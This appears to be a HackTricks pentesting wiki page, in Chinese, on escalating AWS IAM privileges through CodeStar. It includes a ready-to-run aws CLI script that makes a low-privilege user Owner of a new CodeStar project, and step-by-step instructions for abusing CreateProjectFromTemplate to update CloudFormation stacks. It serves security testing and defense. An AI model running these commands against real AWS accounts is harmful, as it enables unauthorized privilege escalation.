AWS - Codestar Privesc

支持HackTricks

Codestar

您可以在以下位置找到有关Codestar的更多信息:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

拥有这些权限后,您可以滥用Codestar IAM角色通过云形成模板执行任意操作。请查看以下页面:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

此技术使用codestar:CreateProject创建Codestar项目,并使用codestar:AssociateTeamMember将IAM用户设为新CodeStar 项目所有者,从而授予他们一个带有一些额外权限的新策略

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

如果您已经是项目成员,可以使用权限**codestar:UpdateTeamMember将您的角色更新为所有者**,而不是codestar:AssociateTeamMember

潜在影响: 提升至生成的codestar策略。您可以在以下位置找到该策略的示例:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. 创建新项目:

  • 利用**codestar:CreateProjectFromTemplate**操作来启动创建新项目。

  • 成功创建后,将自动授予**cloudformation:UpdateStack**访问权限。

  • 此访问权限专门针对与CodeStarWorker-<通用项目名称>-CloudFormation IAM角色相关联的堆栈。

  1. 更新目标堆栈:

  • 利用获得的CloudFormation权限,继续更新指定的堆栈。

  • 堆栈的名称通常符合以下两种模式之一:

  • awscodestar-<通用项目名称>-infrastructure

  • awscodestar-<通用项目名称>-lambda

  • 具体名称取决于所选模板(参考示例利用脚本)。

  1. 访问和权限:

  • 更新后,您将获得与堆栈关联的CloudFormation IAM角色分配的功能。

  • 注意:这并不会直接提供完整的管理员特权。可能需要环境中的其他配置错误资源来进一步提升特权。

有关更多信息,请查看原始研究:https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/。 您可以在https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py找到利用程序。

潜在影响: 提升至cloudformation IAM角色。

支持HackTricks

Last updated